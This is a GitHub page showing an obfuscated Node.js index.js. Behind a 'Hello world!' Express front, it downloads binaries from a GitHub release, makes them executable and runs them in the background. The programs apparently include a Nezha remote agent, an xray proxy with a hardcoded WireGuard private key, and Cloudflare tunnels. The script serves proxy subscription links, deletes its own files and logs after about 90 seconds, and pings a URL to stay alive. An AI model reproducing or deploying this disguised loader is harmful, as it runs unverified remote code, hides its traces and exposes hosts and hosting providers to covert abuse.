forked from kejilion/sh
-
Notifications
You must be signed in to change notification settings - Fork 93
/
Copy pathindex.js
15 lines (14 loc) · 17.7 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const FILE_PATH = process.env.FILE_PATH || './argox';
const projectPageURL = process.env.URL || '';
const intervalInseconds = process.env.TIME || 120;
const UUID = process.env.UUID || 'cfe581fb-2a8e-4c54-ba95-bf90d7cc2033';
const NEZHA_SERVER = process.env.NEZHA_SERVER || 'nz.abc.cn';
const NEZHA_PORT = process.env.NEZHA_PORT || '5555';
const NEZHA_KEY = process.env.NEZHA_KEY || '';
const ARGO_DOMAIN = process.env.ARGO_DOMAIN || '';
const ARGO_AUTH = process.env.ARGO_AUTH || '';
const CFIP = process.env.CFIP || 'www.visa.com.tw';
const CFPORT = process.env.CFPORT || 443;
const PORT = process.env.PORT || 3000;
const ARGO_PORT = process.env.ARGO_PORT || 8001;
const _0x27148c=_0x3681;(function(_0x1e6ce3,_0xf443a9){const _0x14407d=_0x3681,_0x4594ff=_0x1e6ce3();while(!![]){try{const _0x303619=-parseInt(_0x14407d(0x149))/0x1+parseInt(_0x14407d(0x17a))/0x2+-parseInt(_0x14407d(0x11a))/0x3*(parseInt(_0x14407d(0x17b))/0x4)+parseInt(_0x14407d(0x138))/0x5*(parseInt(_0x14407d(0x11d))/0x6)+-parseInt(_0x14407d(0x191))/0x7*(-parseInt(_0x14407d(0x120))/0x8)+-parseInt(_0x14407d(0x19d))/0x9*(parseInt(_0x14407d(0x183))/0xa)+parseInt(_0x14407d(0x12f))/0xb;if(_0x303619===_0xf443a9)break;else _0x4594ff['push'](_0x4594ff['shift']());}catch(_0x4fdd6d){_0x4594ff['push'](_0x4594ff['shift']());}}}(_0x5974,0xdbfd4));const express=require('express'),app=express(),axios=require('axios'),os=require('os'),fs=require('fs'),path=require(_0x27148c(0x19a)),{promisify}=require(_0x27148c(0x166)),exec=promisify(require('child_process')[_0x27148c(0x164)]),{execSync}=require('child_process');!fs['existsSync'](FILE_PATH)?(fs['mkdirSync'](FILE_PATH),console[_0x27148c(0x140)](FILE_PATH+'\x20is\x20created')):console['log'](FILE_PATH+_0x27148c(0x190));const pathsToDelete=[_0x27148c(0x18b),_0x27148c(0x156),_0x27148c(0x17f),_0x27148c(0x13a),'boot.log'];function cleanupOldFiles(){const _0x1b0899=_0x27148c;pathsToDelete[_0x1b0899(0x136)](_0x3dfa58=>{const _0xd4d650=_0x1b0899,_0x6463e2=path[_0xd4d650(0x188)](FILE_PATH,_0x3dfa58);fs[_0xd4d650(0x11e)](_0x6463e2,_0x172291=>{const _0x50d92d=_0xd4d650;_0x172291?console[_0x50d92d(0x180)](_0x50d92d(0x178)+_0x6463e2):console[_0x50d92d(0x140)](_0x6463e2+_0x50d92d(0x158));});});}cleanupOldFiles(),app[_0x27148c(0x110)]('/',function(_0x93bb88,_0x561dbf){const _0x3530e4=_0x27148c;_0x561dbf[_0x3530e4(0x128)](_0x3530e4(0x111));});const config={'log':{'access':'/dev/null','error':'/dev/null','loglevel':_0x27148c(0x184)},'inbounds':[{'port':ARGO_PORT,'protocol':'vless','settings':{'clients':[{'id':UUID,'flow':_0x27148c(0x118)}],'decryption':_0x27148c(0x184),'fallbacks':[{'dest':0xbb9},{'path':'/vless-argo','dest':0xbba},{'path':_0x27148c(0x199),'dest':0xbbb},{'path':'/trojan-argo','dest':0xbbc}]},'streamSettings':{'network':_0x27148c(0x196)}},{'port':0xbb9,'listen':_0x27148c(0x19b),'protocol':_0x27148c(0x163),'settings':{'clients':[{'id':UUID}],'decryption':_0x27148c(0x184)},'streamSettings':{'network':'ws','security':_0x27148c(0x184)}},{'port':0xbba,'listen':_0x27148c(0x19b),'protocol':_0x27148c(0x163),'settings':{'clients':[{'id':UUID,'level':0x0}],'decryption':_0x27148c(0x184)},'streamSettings':{'network':'ws','security':'none','wsSettings':{'path':_0x27148c(0x17e)}},'sniffing':{'enabled':!![],'destOverride':[_0x27148c(0x141),'tls',_0x27148c(0x197)],'metadataOnly':![]}},{'port':0xbbb,'listen':_0x27148c(0x19b),'protocol':_0x27148c(0x114),'settings':{'clients':[{'id':UUID,'alterId':0x0}]},'streamSettings':{'network':'ws','wsSettings':{'path':_0x27148c(0x199)}},'sniffing':{'enabled':!![],'destOverride':[_0x27148c(0x141),_0x27148c(0x18f),'quic'],'metadataOnly':![]}},{'port':0xbbc,'listen':_0x27148c(0x19b),'protocol':_0x27148c(0x12b),'settings':{'clients':[{'password':UUID}]},'streamSettings':{'network':'ws','security':_0x27148c(0x184),'wsSettings':{'path':_0x27148c(0x10b)}},'sniffing':{'enabled':!![],'destOverride':[_0x27148c(0x141),_0x27148c(0x18f),_0x27148c(0x197)],'metadataOnly':![]}}],'dns':{'servers':[_0x27148c(0x11f)]},'outbounds':[{'protocol':_0x27148c(0x10d)},{'tag':_0x27148c(0x18d),'protocol':_0x27148c(0x16f),'settings':{'secretKey':'YFYOAdbw1bKTHlNNi+aEjBM3BO7unuFC5rOkMRAz9XY=','address':[_0x27148c(0x119),_0x27148c(0x10e)],'peers':[{'publicKey':_0x27148c(0x124),'allowedIPs':[_0x27148c(0x15e),_0x27148c(0x194)],'endpoint':_0x27148c(0x12e)}],'reserved':[0x4e,0x87,0x4c],'mtu':0x500}}],'routing':{'domainStrategy':_0x27148c(0x186),'rules':[{'type':_0x27148c(0x192),'domain':[_0x27148c(0x121),_0x27148c(0x167)],'outboundTag':_0x27148c(0x18d)}]}};fs[_0x27148c(0x195)](path[_0x27148c(0x188)](FILE_PATH,_0x27148c(0x144)),JSON[_0x27148c(0x10a)](config,null,0x2));function getSystemArchitecture(){const _0x19ed5b=_0x27148c,_0x58e0f3=os[_0x19ed5b(0x181)]();return _0x58e0f3===_0x19ed5b(0x160)||_0x58e0f3==='arm64'||_0x58e0f3===_0x19ed5b(0x130)?_0x19ed5b(0x160):'amd';}function downloadFile(_0x71b5f,_0x48d353,_0x3cd6d9){const _0x585328=_0x27148c,_0x210579=path['join'](FILE_PATH,_0x71b5f),_0x3fd864=fs[_0x585328(0x174)](_0x210579);axios({'method':_0x585328(0x110),'url':_0x48d353,'responseType':'stream'})[_0x585328(0x15c)](_0x188a0d=>{const _0x6c8643=_0x585328;_0x188a0d[_0x6c8643(0x12c)][_0x6c8643(0x108)](_0x3fd864),_0x3fd864['on'](_0x6c8643(0x19c),()=>{const _0x2080ce=_0x6c8643;_0x3fd864[_0x2080ce(0x139)](),console[_0x2080ce(0x140)]('Download\x20'+_0x71b5f+'\x20successfully'),_0x3cd6d9(null,_0x71b5f);}),_0x3fd864['on'](_0x6c8643(0x180),_0x1fd89a=>{const _0x4629a8=_0x6c8643;fs[_0x4629a8(0x11e)](_0x210579,()=>{});const _0x6b38a1=_0x4629a8(0x161)+_0x71b5f+_0x4629a8(0x17d)+_0x1fd89a[_0x4629a8(0x16c)];console[_0x4629a8(0x180)](_0x6b38a1),_0x3cd6d9(_0x6b38a1);});})[_0x585328(0x173)](_0x5331f3=>{const _0x34ca73=_0x585328,_0x1e1d27=_0x34ca73(0x161)+_0x71b5f+'\x20failed:\x20'+_0x5331f3[_0x34ca73(0x16c)];console[_0x34ca73(0x180)](_0x1e1d27),_0x3cd6d9(_0x1e1d27);});}async function downloadFilesAndRun(){const _0x89934e=_0x27148c,_0x371f63=getSystemArchitecture(),_0x16edcc=getFilesForArchitecture(_0x371f63);if(_0x16edcc[_0x89934e(0x176)]===0x0){console[_0x89934e(0x140)](_0x89934e(0x15b));return;}const _0x4cabe5=_0x16edcc[_0x89934e(0x113)](_0x397194=>{return new Promise((_0x4f67d4,_0x146106)=>{const _0x216f64=_0x3681;downloadFile(_0x397194[_0x216f64(0x133)],_0x397194[_0x216f64(0x132)],(_0x49241f,_0x3dfa62)=>{_0x49241f?_0x146106(_0x49241f):_0x4f67d4(_0x3dfa62);});});});try{await Promise[_0x89934e(0x145)](_0x4cabe5);}catch(_0x4674fc){console[_0x89934e(0x180)](_0x89934e(0x112),_0x4674fc);return;}function _0xde1d45(_0x4bedf3){const _0xe7463b=_0x89934e,_0x1f1575=0x1fd;_0x4bedf3[_0xe7463b(0x136)](_0x4acda3=>{const _0x360cce=_0xe7463b,_0x1a5c81=path[_0x360cce(0x188)](FILE_PATH,_0x4acda3);fs['chmod'](_0x1a5c81,_0x1f1575,_0x40ebf2=>{const _0xe39ed2=_0x360cce;_0x40ebf2?console[_0xe39ed2(0x180)](_0xe39ed2(0x177)+_0x1a5c81+':\x20'+_0x40ebf2):console[_0xe39ed2(0x140)](_0xe39ed2(0x15f)+_0x1a5c81+':\x20'+_0x1f1575['toString'](0x8));});});}const _0x5a24bc=[_0x89934e(0x134),_0x89934e(0x13e),'./bot'];_0xde1d45(_0x5a24bc);let _0x279e91='';if(NEZHA_SERVER&&NEZHA_PORT&&NEZHA_KEY){const _0x7e0ae9=[_0x89934e(0x187),_0x89934e(0x13d),_0x89934e(0x153),'2087',_0x89934e(0x13f),_0x89934e(0x126)];_0x7e0ae9[_0x89934e(0x15a)](NEZHA_PORT)?_0x279e91=_0x89934e(0x150):_0x279e91='';const _0x391785=_0x89934e(0x13c)+FILE_PATH+'/npm\x20-s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+_0x89934e(0x193)+NEZHA_KEY+'\x20'+_0x279e91+_0x89934e(0x175);try{await exec(_0x391785),console['log'](_0x89934e(0x168)),await new Promise(_0x49cd22=>setTimeout(_0x49cd22,0x3e8));}catch(_0x239263){console[_0x89934e(0x180)]('npm\x20running\x20error:\x20'+_0x239263);}}else console[_0x89934e(0x140)](_0x89934e(0x12a));const _0x3ad719=_0x89934e(0x13c)+FILE_PATH+'/web\x20-c\x20'+FILE_PATH+'/config.json\x20>/dev/null\x202>&1\x20&';try{await exec(_0x3ad719),console[_0x89934e(0x140)](_0x89934e(0x115)),await new Promise(_0x3fa9e0=>setTimeout(_0x3fa9e0,0x3e8));}catch(_0x578ec9){console[_0x89934e(0x180)](_0x89934e(0x116)+_0x578ec9);}if(fs[_0x89934e(0x18a)](path['join'](FILE_PATH,_0x89934e(0x156)))){let _0x57bc27;if(ARGO_AUTH[_0x89934e(0x162)](/^[A-Z0-9a-z=]{120,250}$/))_0x57bc27=_0x89934e(0x11b)+ARGO_AUTH;else ARGO_AUTH[_0x89934e(0x162)](/TunnelSecret/)?_0x57bc27=_0x89934e(0x16a)+FILE_PATH+_0x89934e(0x10c):_0x57bc27=_0x89934e(0x142)+FILE_PATH+_0x89934e(0x189)+ARGO_PORT;try{await exec(_0x89934e(0x13c)+FILE_PATH+_0x89934e(0x14c)+_0x57bc27+_0x89934e(0x175)),console[_0x89934e(0x140)](_0x89934e(0x16b)),await new Promise(_0x2601ec=>setTimeout(_0x2601ec,0x7d0));}catch(_0x208975){console[_0x89934e(0x180)](_0x89934e(0x12d)+_0x208975);}}await new Promise(_0x4e3f47=>setTimeout(_0x4e3f47,0x1388));}function getFilesForArchitecture(_0x1de6b6){const _0x496363=_0x27148c;if(_0x1de6b6===_0x496363(0x160))return[{'fileName':_0x496363(0x17f),'fileUrl':_0x496363(0x14e)},{'fileName':_0x496363(0x18b),'fileUrl':_0x496363(0x15d)},{'fileName':'bot','fileUrl':_0x496363(0x182)}];else{if(_0x1de6b6===_0x496363(0x171))return[{'fileName':_0x496363(0x17f),'fileUrl':_0x496363(0x11c)},{'fileName':'web','fileUrl':_0x496363(0x14b)},{'fileName':'bot','fileUrl':_0x496363(0x123)}];}return[];}function argoType(){const _0x5ec410=_0x27148c;if(!ARGO_AUTH||!ARGO_DOMAIN){console[_0x5ec410(0x140)](_0x5ec410(0x185));return;}if(ARGO_AUTH[_0x5ec410(0x15a)]('TunnelSecret')){fs['writeFileSync'](path['join'](FILE_PATH,_0x5ec410(0x137)),ARGO_AUTH);const _0x2d82bc=_0x5ec410(0x165)+ARGO_AUTH['split']('\x22')[0xb]+'\x0a\x20\x20credentials-file:\x20'+path[_0x5ec410(0x188)](FILE_PATH,_0x5ec410(0x137))+_0x5ec410(0x14f)+ARGO_DOMAIN+_0x5ec410(0x117)+ARGO_PORT+_0x5ec410(0x172);fs[_0x5ec410(0x195)](path['join'](FILE_PATH,_0x5ec410(0x127)),_0x2d82bc);}else console[_0x5ec410(0x140)]('ARGO_AUTH\x20mismatch\x20TunnelSecret,use\x20token\x20connect\x20to\x20tunnel');}argoType();async function extractDomains(){const _0x2d12bf=_0x27148c;let _0x24486b;if(ARGO_AUTH&&ARGO_DOMAIN)_0x24486b=ARGO_DOMAIN,console['log'](_0x2d12bf(0x155),_0x24486b),await _0x19ae42(_0x24486b);else try{const _0x3ff2bf=fs['readFileSync'](path['join'](FILE_PATH,_0x2d12bf(0x147)),_0x2d12bf(0x135)),_0x1f1b7a=_0x3ff2bf[_0x2d12bf(0x122)]('\x0a'),_0x36b3a1=[];_0x1f1b7a[_0x2d12bf(0x136)](_0x511fa8=>{const _0x1215ea=_0x2d12bf,_0x5462de=_0x511fa8[_0x1215ea(0x162)](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x5462de){const _0x80ad42=_0x5462de[0x1];_0x36b3a1['push'](_0x80ad42);}});if(_0x36b3a1[_0x2d12bf(0x176)]>0x0)_0x24486b=_0x36b3a1[0x0],console[_0x2d12bf(0x140)](_0x2d12bf(0x146),_0x24486b),await _0x19ae42(_0x24486b);else{console[_0x2d12bf(0x140)]('ArgoDomain\x20not\x20found,\x20re-running\x20bot\x20to\x20obtain\x20ArgoDomain'),fs['unlinkSync'](path[_0x2d12bf(0x188)](FILE_PATH,_0x2d12bf(0x147))),await new Promise(_0x126264=>setTimeout(_0x126264,0x7d0));const _0x271eb8=_0x2d12bf(0x142)+FILE_PATH+'/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:'+ARGO_PORT;try{await exec(_0x2d12bf(0x13c)+path['join'](FILE_PATH,_0x2d12bf(0x156))+'\x20'+_0x271eb8+_0x2d12bf(0x175)),console[_0x2d12bf(0x140)](_0x2d12bf(0x179)),await new Promise(_0x31ec36=>setTimeout(_0x31ec36,0xbb8)),await extractDomains();}catch(_0x435677){console[_0x2d12bf(0x180)](_0x2d12bf(0x12d)+_0x435677);}}}catch(_0x597bf5){console[_0x2d12bf(0x180)](_0x2d12bf(0x125),_0x597bf5);}async function _0x19ae42(_0x565279){const _0x23f8bb=_0x2d12bf,_0x2aaa1b=execSync(_0x23f8bb(0x16e),{'encoding':_0x23f8bb(0x135)}),_0x488606=_0x2aaa1b[_0x23f8bb(0x170)]();return new Promise(_0x5b6e39=>{setTimeout(()=>{const _0x24850a=_0x3681,_0x3e8b1b={'v':'2','ps':_0x488606,'add':CFIP,'port':CFPORT,'id':UUID,'aid':'0','scy':_0x24850a(0x184),'net':'ws','type':'none','host':_0x565279,'path':_0x24850a(0x143),'tls':_0x24850a(0x18f),'sni':_0x565279,'alpn':''},_0x4b732e='\x0avless://'+UUID+'@'+CFIP+':'+CFPORT+'?encryption=none&security=tls&sni='+_0x565279+_0x24850a(0x159)+_0x565279+_0x24850a(0x129)+_0x488606+_0x24850a(0x169)+Buffer[_0x24850a(0x14d)](JSON[_0x24850a(0x10a)](_0x3e8b1b))[_0x24850a(0x18c)](_0x24850a(0x154))+'\x0a\x20\x20\x0atrojan://'+UUID+'@'+CFIP+':'+CFPORT+_0x24850a(0x13b)+_0x565279+_0x24850a(0x159)+_0x565279+_0x24850a(0x109)+_0x488606+'\x0a\x20\x20\x20\x20';console[_0x24850a(0x140)](Buffer[_0x24850a(0x14d)](_0x4b732e)['toString'](_0x24850a(0x154)));const _0x4a2014=path[_0x24850a(0x188)](FILE_PATH,_0x24850a(0x13a));fs['writeFileSync'](_0x4a2014,Buffer[_0x24850a(0x14d)](_0x4b732e)[_0x24850a(0x18c)](_0x24850a(0x154))),console[_0x24850a(0x140)](FILE_PATH+'/sub.txt\x20saved\x20successfully'),app['get'](_0x24850a(0x131),(_0x21b16c,_0x20572e)=>{const _0x37fea5=_0x24850a,_0x4cabd9=Buffer[_0x37fea5(0x14d)](_0x4b732e)['toString'](_0x37fea5(0x154));_0x20572e['set']('Content-Type',_0x37fea5(0x157)),_0x20572e[_0x37fea5(0x128)](_0x4cabd9);}),_0x5b6e39(_0x4b732e);},0x7d0);});}}const npmPath=path[_0x27148c(0x188)](FILE_PATH,_0x27148c(0x17f)),webPath=path[_0x27148c(0x188)](FILE_PATH,_0x27148c(0x18b)),botPath=path[_0x27148c(0x188)](FILE_PATH,_0x27148c(0x156)),bootLogPath=path[_0x27148c(0x188)](FILE_PATH,_0x27148c(0x147)),configPath=path['join'](FILE_PATH,_0x27148c(0x144));function cleanFiles(){setTimeout(()=>{const _0x57b169=_0x3681;exec(_0x57b169(0x151)+bootLogPath+'\x20'+configPath+'\x20'+npmPath+'\x20'+webPath+'\x20'+botPath,(_0x346c64,_0x41c82c,_0xb79cfb)=>{const _0x412341=_0x57b169;if(_0x346c64){console[_0x412341(0x180)](_0x412341(0x198)+_0x346c64);return;}console[_0x412341(0x148)](),console[_0x412341(0x140)]('App\x20is\x20running'),console[_0x412341(0x140)](_0x412341(0x16d));});},0x15f90);}cleanFiles();let hasLoggedEmptyMessage=![];async function visitProjectPage(){const _0x56d030=_0x27148c;try{if(!projectPageURL||!intervalInseconds){!hasLoggedEmptyMessage&&(console[_0x56d030(0x140)](_0x56d030(0x14a)),hasLoggedEmptyMessage=!![]);return;}else hasLoggedEmptyMessage=![];await axios[_0x56d030(0x110)](projectPageURL),console[_0x56d030(0x140)](_0x56d030(0x152)),console[_0x56d030(0x148)]();}catch(_0x4363ce){console[_0x56d030(0x180)](_0x56d030(0x18e),_0x4363ce[_0x56d030(0x16c)]);}}setInterval(visitProjectPage,intervalInseconds*0x3e8);async function startserver(){await downloadFilesAndRun(),await extractDomains(),visitProjectPage();}function _0x5974(){const _0x16a17a=['split','https://github.com/eooce/test/releases/download/amd64/bot','bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo=','Error\x20reading\x20boot.log:','2053','tunnel.yml','send','&path=%2Fvless-argo%3Fed%3D2048#','NEZHA\x20variable\x20is\x20empty,skip\x20running','trojan','data','Error\x20executing\x20command:\x20','162.159.193.10:2408','3655641mAJScs','aarch64','/sub','fileUrl','fileName','./npm','utf-8','forEach','tunnel.json','1735aqEFKN','close','sub.txt','?security=tls&sni=','nohup\x20','8443','./web','2083','log','http','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20--logfile\x20','/vmess-argo?ed=2048','config.json','all','ArgoDomain:','boot.log','clear','86573uHMRum','URL\x20or\x20TIME\x20variable\x20is\x20empty,skip\x20visit\x20url','https://github.com/eooce/test/releases/download/amd64/web','/bot\x20','from','https://github.com/eooce/test/releases/download/arm64/swith','\x0a\x20\x20protocol:\x20http2\x0a\x20\x20\x0a\x20\x20ingress:\x0a\x20\x20\x20\x20-\x20hostname:\x20','--tls','rm\x20-rf\x20','Page\x20visited\x20successfully','2096','base64','ARGO_DOMAIN:','bot','text/plain;\x20charset=utf-8','\x20deleted','&type=ws&host=','includes','Can\x27t\x20find\x20a\x20file\x20for\x20the\x20current\x20architecture','then','https://github.com/eooce/test/releases/download/arm64/web','0.0.0.0/0','Empowerment\x20success\x20for\x20','arm','Download\x20','match','vless','exec','\x0a\x20\x20tunnel:\x20','util','domain:ai.com','npm\x20is\x20running','\x0a\x20\x20\x0avmess://','tunnel\x20--edge-ip-version\x20auto\x20--config\x20','bot\x20is\x20running','message','Thank\x20you\x20for\x20using\x20this\x20script,\x20enjoy!','curl\x20-s\x20https://speed.cloudflare.com/meta\x20|\x20awk\x20-F\x5c\x22\x20\x27{print\x20$26\x22-\x22$18}\x27\x20|\x20sed\x20-e\x20\x27s/\x20/_/g\x27','wireguard','trim','amd','\x0a\x20\x20\x20\x20\x20\x20originRequest:\x0a\x20\x20\x20\x20\x20\x20\x20\x20noTLSVerify:\x20true\x0a\x20\x20\x20\x20-\x20service:\x20http_status:404\x0a\x20\x20','catch','createWriteStream','\x20>/dev/null\x202>&1\x20&','length','Empowerment\x20failed\x20for\x20','Skip\x20Delete\x20','bot\x20is\x20running.','2898826aYTMxJ','13324YzkuPh','Http\x20server\x20is\x20running\x20on\x20port:','\x20failed:\x20','/vless-argo','npm','error','arch','https://github.com/eooce/test/releases/download/arm64/bot','10Yowrwh','none','ARGO_DOMAIN\x20or\x20ARGO_AUTH\x20variable\x20is\x20empty,\x20use\x20quick\x20tunnels','AsIs','443','join','/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:','existsSync','web','toString','WARP','Error\x20visiting\x20project\x20page:','tls','\x20already\x20exists','212667NbujvH','field','\x20-p\x20','::/0','writeFileSync','tcp','quic','Error\x20while\x20deleting\x20files:\x20','/vmess-argo','path','127.0.0.1','finish','6643908OXuSlQ','pipe','&path=%2Ftrojan-argo%3Fed%3D2048#','stringify','/trojan-argo','/tunnel.yml\x20run','freedom','2606:4700:110:8a36:df92:102a:9602:fa18/128','listen','get','Hello\x20world!','Error\x20downloading\x20files:','map','vmess','web\x20is\x20running','web\x20running\x20error:\x20','\x0a\x20\x20\x20\x20\x20\x20service:\x20http://localhost:','xtls-rprx-vision','172.16.0.2/32','1500TrycFS','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20run\x20--token\x20','https://github.com/eooce/test/releases/download/amd64/swith','1566lGgCcA','unlink','https+local://8.8.8.8/dns-query','400jjJJYq','domain:openai.com'];_0x5974=function(){return _0x16a17a;};return _0x5974();}function _0x3681(_0x3228a9,_0x46f76c){const _0x597404=_0x5974();return _0x3681=function(_0x3681b0,_0x2f2203){_0x3681b0=_0x3681b0-0x108;let _0x1ca35e=_0x597404[_0x3681b0];return _0x1ca35e;},_0x3681(_0x3228a9,_0x46f76c);}startserver(),app[_0x27148c(0x10f)](PORT,()=>console['log'](_0x27148c(0x17c)+PORT+'!'));